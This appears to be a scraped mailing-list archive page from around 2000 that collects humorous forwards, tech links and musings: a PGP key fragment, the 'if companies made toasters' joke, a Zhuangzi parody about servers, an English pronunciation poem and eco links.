dpgRWSdGCQUXaLkCDQQ2ul1vEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlL OCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N 286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/ RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2O u1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqV DNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAy+Rtq+5T yKbIqqlNtSGVjx9E5/yQKfq0jTET67o7fogvjlr96VlrsxfbQuzVaRvxM09LaXbO 8WaBnnLZ0EycuitiENCIC34GXeLZQjYWAbPLIlle7fHo1SS2XxPcVHoV4eZViQwc qhRaPNCvdOEr4zjM+XtW+mRZ2/hZIZ7b2rpj1yr6CiF6ut0TF8+sG5fozw/J4+71 NOqh5Mf/hILBgb/vKbIHaoiauzhxiV6AXxPxnGzWXUJUrUKQKQjR0KVZlaSm58xu ph1GRIlSMG8oda6+c3VbvePsLHrIYc7UpuA9SEmh87tHb8Ia3cP1sNVltTMaWLVV iFKF/GGT6f5ZEIkARgQYEQIABgUCNrpdbwAKCRAd0BIuWRVyQTQ9AJ0QUK+98GRi gZyA/WeZct5CMetcEACfTtbFxIfql99/o+qK4PevDLmlFo4= =Y2QI -END PGP PUBLIC KEY BLOCK- Charles Young Scotland UK [EMAIL
Web speed record
--- F R E N D Z of martian --- 957 Mbits/second http://www.andovernews.com/cgi-bin/news_story.pl?167394/topstories -- "Give us this day our daily rate And lead us not into taxation" [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Making Toasters
--- F R E N D Z of martian --- If IBM made toasters... They would want one big toaster where people bring bread to be submitted for overnight toasting. IBM would claim a worldwide market for five, maybe six toasters. If Microsoft made toasters... Every time you bought a loaf of bread, you would have to buy a toaster. You wouldn't have to take the toaster, but you'd still have to pay for it anyway. Toaster'95 would weigh 15000 pounds (hence requiring a reinforced steel countertop), draw enough electricity to power a small city, take up 95% of the space in your kitchen, would claim to be the first toaster that let's you control how light or dark you want your toast to be, and would secretly interrogate your other appliances to find out who made them. Everyone would hate Microsoft toasters, but nonetheless would buy them since most of the good bread only works with their toasters. If Apple made toasters... It would do everything the Microsoft toaster does, but 5 years earlier. The toast would make a little smiley face at you when it popped up, or else it would get stuck and there would be a little picture of a bomb burned onto it. If they break, these toasters would require a special set of MacToaster Tools to even open up. Worldwide market share would only be 5%, but all the bread in school lunches would be exclusively toasted on the MacToaster. If The NeXT Corporation made toasters... It would be a large, perfectly smooth and seamless black cube. Every morning there would be a piece of toast on top of it. Their service department would have an unlisted phone number, and the blueprints for the box would be highly classified government documents. The X-Files would have an episode about it. If the NSA made toasters... Your toaster would have a secret trap door that only the NSA could access in case they needed to get at your toast for reasons of national security. Does DEC still make toasters?... They made good toasters in the '70s, didn't they? If Hewlett-Packard made toasters... They would market the Reverse Polish Toaster, which takes in toast and gives you regular bread. If Sony made toasters... Their Sony Toastman, which would be barely larger than the single piece of bread it is meant to toast, can be conveniently attached to your belt. If the Franklin Mint made toasters... Every month, you would receive another lovely hand-crafted piece of your authentic Civil War pewter toaster. If Cray made toasters... They would cost $16 million but would be faster than any other single-slice toaster in the world, at least for a couple of years. If Thinking Machines made toasters... You would be able to toast 64,000 thousand pieces of bread at the same time. If Timex made toasters... They would be cheap and small quartz-crystal wrist toasters that take a licking and keep on toasting. If Radio Shack made toasters... The staff would sell you a toaster, but not know anything about it. You would be able to buy all the parts to build your own toaster. If K-Tel sold toasters... They would not be available in stores, and you would get a free set of Ginsu knives. If Wang made toasters Marketing would never agree upon what customers really want or need in a toaster so millions of dollars would be spent in development and the toaster would be several years late. Just after release Wang would buy another company whose toaster ran on NT but would find that they got more orders for the original. -- "Give us this day our daily rate And lead us not into taxation" [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: GeeK: Turn Spare Processor Cycles into Money
--- F R E N D Z of martian --- Looks groovy... - Original Message - From: Rev. George [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Thursday, March 30, 2000 8:09 PM Subject: GeeK: Turn Spare Processor Cycles into Money Just found this site in someone's /. sig: http://www.processtree.com/ It works like distributed.net or SETI@home, except instead of lofty intellectual goals, they're in it for pure capitalism. They pay you to do distributed processing over the Internet. At least they pay you when they start shipping the client... What struck me as odd was this from the FAQ: "What are the legal obligations if I sign up? You are under no legal obligations. Likewise ProcessTree is under no obligations other than to pay Sponsors a to-be-determined percentage of earnings from Partners that they signed up. See the bottom of the sign up form for the legal statement." So if I find out my competitor uses this service, not only can I attempt to corrupt their data, but I can also make money doing it? I believe Bruce Schneier had some interesting comments on secure computing in an untrusted environment, but I can't find it for the life of me. Anyone? -- Rev. George [EMAIL PROTECTED] http://www.the-collective.net/~gideon/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
NSA patent
NSA attains patent on holographic storage device http://www1.ekstrabladet.dk/VisArtikel.iasp?PageID=43390
Fw: nettime useless servers
--- F R E N D Z of martian --- neozen... - Original Message - From: jesse hirsh [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, March 24, 2000 1:29 PM Subject: nettime useless servers -- Forwarded message -- Date: Thu, 23 Mar 2000 12:12:14 -0500 From: chuang tze [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: useless servers - http://internet.tao.ca - Shih the hacker was on his way to the state of Chi. When he got to Chu Yuan, he saw a computer by the village shrine. The server was large enough to shade several thousand oxen and was several hundred mind spans around. It towered above the microsofts with its lowest branches eighty clicks from the ground. More than ten of its branches were big enough to be made into local area networks. There were crowds of people as in a marketplace. The master hacker did not even turn his head but walked on without stopping. His apprentice took a long look, then ran after Shih the hacker and said, "Since I took up my ax and followed you, master, I have never seen phiber as beautiful as this. But you do not even bother to look at it and walk on without stopping. Why is this? Shih the hacker replied, "Stop! Say no more! That server is useless. A network made from it would implode, a computer would soon rot, a program would split, a web site would ooze sap, and a chat would have parasites. It is worthless phiber and is of no use. That is why it has reached such a ripe old age. After Shih the hacker had returned home, the sacred system appeared to him in a dream, saying, "What are you comparing me with? Are you comparing me with useful servers? There are commercial, application, pornographic, occult, security, warez, and other network servers. As soon as the network is ripe, the servers are stripped and abused. Their large branches are split, and the smaller ones torn off. Their life is bitter because of their usefulness. That is why they do not live out their natural lives but are cutt of in their prime. They attrct the attentions of the common world. This is so for all things. As for me, I have been trying for a long time to be useless. I was almost destroyed several times. Finally I am useless, and this is very useful to me. If I had been useful, could I have ever grown so large?" "Besides, you and I are both things. How can one thing judge another thing? What does a dying and worthless man like you know about a worthless server?" Shih the hacker awoke and tried to understand his dream. His apprentice said, "If it had so great a desire to be useless, why does it serve as a shrine?" Shih the hacker said, "Hush! Stop talking! It is just pretending to be one so that it will not be hurt by those who do not know it is useless. If it had not become a sacred server, it would probably have been cut down. It protects itself in a different way from ordinary things. We will miss the point if we judge it in the ordinary way." -- Nan Po Tsu Chi was wandering in the Shang Hills when he caught sight of a huge, extraordinary server. A thousand four-horse chariots could have rested in its shade. Tsu Chi said, "What kind of server is this? It must be very special phiber. He looked up and saw that the smaller networks were gnarled and twisted, and could not be used for marketing or selling products. He looked down and saw that the great shell was curved and knotted, and could not be used for sending spam. When he tasted the phiber, it burned his mouth; when he sniffed it, he became intoxicated and for three days acted as if he were drunk. Tsu Chi said, "Indeed this server is good for nothing. No wonder it grew so big. That is how it is! Holy men treasure this worthlessness." -- Ching Shih in the province of Sung is a good place for growing commercial, governmental, and application servers. Those servers that attain the girth of a span or more are cut down to make buy-out targets. Those of three or four spans are cut down to make platforms for tall, elegant online malls. Those of seven or eight spans are cut down to make side shows for the spectacles of cinema and television, or serve the tastes of aristocratic and rich merchant families. So, these servers never achieve their full stature but fall in their prime under the blows of a market. Such are the hazards of being useful. ~ a message from the internet list http://internet.tao.ca the internet you say? qui est-ce? # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: GeeK: The quick brown fox jumped over the lazy dog. (fwd)
--- F R E N D Z of martian --- I really recommend reading this one out loud... :-) - Original Message - From: Neil McNeight [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, March 24, 2000 7:44 PM Subject: GeeK: The quick brown fox jumped over the lazy dog. (fwd) For those of you who want to torture test your voice recognition/synthesis software, this would be the text to throw at it. -Neil ---+--- "There is more to life than increasing its speed." | Neil McNeight -Mahatma Gandhi| [EMAIL PROTECTED] ---+--- -- Forwarded message -- Date: Wed, 22 Mar 2000 13:28:21 -0500 From: glen mccready [EMAIL PROTECTED] To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] Subject: The quick brown fox jumped over the lazy dog. Resent-Date: Wed, 22 Mar 2000 11:24:57 -0700 (MST) Resent-From: [EMAIL PROTECTED] Forwarded-by: Gerald Britton [EMAIL PROTECTED] Forwarded-by: "Mikhail Khusid" [EMAIL PROTECTED] Elka Tovah Menkes [EMAIL PROTECTED] on 03/21/2000 12:57:24 AM "Once you've learned to correctly pronounce every word in the following poem, you will be speaking English better than 90% of the native English speakers in the world. If you find it tough going, do not despair, you are not alone: Multi-national personnel at North Atlantic Treaty Organization headquarters near Paris found English to be an easy language ... until they tried to pronounce it. To help them discard an array of accents, the verses below were devised. After trying them, a Frenchman said he'd prefer six months at hard labor to reading six lines aloud. Try them yourself." English Is Tough Stuff Dearest creature in creation, Study English pronunciation. I will teach you in my verse Sounds like corpse, corps, horse, and worse. I will keep you, Suzy, busy, Make your head with heat grow dizzy. Tear in eye, your dress will tear. So shall I! Oh hear my prayer. Just compare heart, beard, and heard, Dies and diet, lord and word, Sword and sward, retain and Britain. (Mind the latter, how it's written.) Now I surely will not plague you With such words as plaque and ague. But be careful how you speak: Say break and steak, but bleak and streak; Cloven, oven, how and low, Script, receipt, show, poem, and toe. Hear me say, devoid of trickery, Daughter, laughter, and Terpsichore, Typhoid, measles, topsails, aisles, Exiles, similes, and reviles; Scholar, vicar, and cigar, Solar, mica, war and far; One, anemone, Balmoral, Kitchen, lichen, laundry, laurel; Gertrude, German, wind and mind, Scene, Melpomene, mankind. Billet does not rhyme with ballet, Bouquet, wallet, mallet, chalet. Blood and flood are not like food, Nor is mould like should and would. Viscous, viscount, load and broad, Toward, to forward, to reward. And your pronunciation's OK When you correctly say croquet, Rounded, wounded, grieve and sieve, Friend and fiend, alive and live. Ivy, privy, famous; clamour And enamour rhyme with hammer. River, rival, tomb, bomb, comb, Doll and roll and some and home. Stranger does not rhyme with anger, Neither does devour with clangour. Souls but foul, haunt but aunt, Font, front, wont, want, grand, and grant, Shoes, goes, does. Now first say finger, And then singer, ginger, linger, Real, zeal, mauve, gauze, gouge and gauge, Marriage, foliage, mirage, and age. Query does not rhyme with very, Nor does fury sound like bury. Dost, lost, post and doth, cloth, loth. Job, nob, bosom, transom, oath. Though the differences seem little, We say actual but victual. Refer does not rhyme with deafer. Foeffer does, and zephyr, heifer. Mint, pint, senate and sedate; Dull, bull, and George ate late. Scenic, Arabic, Pacific, Science, conscience, scientific. Liberty, library, heave and heaven, Rachel, ache, moustache, eleven. We say hallowed, but allowed, People, leopard, towed, but vowed. Mark the differences, moreover, Between mover, cover, clover; Leeches, breeches, wise, precise, Chalice, but police and lice; Camel, constable, unstable, Principle, disciple, label. Petal, panel, and canal, Wait, surprise, plait, promise, pal. Worm and storm, chaise, chaos, chair, Senator, spectator, mayor. Tour, but our and succour, four. Gas, alas, and Arkansas. Sea, idea, Korea, area, Psalm, Maria, but malaria. Youth, south, southern, cleanse and clean. Doctrine, turpentine, marine. Compare alien with Italian, Dandelion and battalion. Sally with
biodiesel
This van gets 25 miles to the gallon... of used restaurant frying oil... apparently it's about 1300 miles per acre if you grow your own rapeseed. http://www.veggievan.org/vaninfo.html
Fw: Fighting the good fight.
--- F R E N D Z of martian --- Excerpted HTML comment follows... !-- Greetings, Lynx users. There is a reason this page doesn't use ALT tags on the images. The reason is that the bozos responsible for both MSIE and Netscape Confusicator 4.0 decided that they would display the ALT tags of images every time you move the mouse over them -- even if the images are loaded, and even if they are not links. The ALT attribute to the IMG tag is supposed to be used *instead of* the image, not *in addition to* the image. This looks absolutely terrible, so I don't use ALT tags any more in self-defense. If they wanted to implemented tooltips, they should have used the TITLE attribute to the A tag. That's in the HTML 1.2 spec and everything. I had to decide between making this page look good for the vast majority of viewers, or making it be readable by the miniscule minority of you stuck in the 70s. Those of you in the retro contingent lost. Sorry. -- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Eco downloads
Great page of eco friendly suggestions in pdf format - check out the homebrew solutions including solar food dehydrator and solar ice maker. http://www.homepower.com/download2.htm
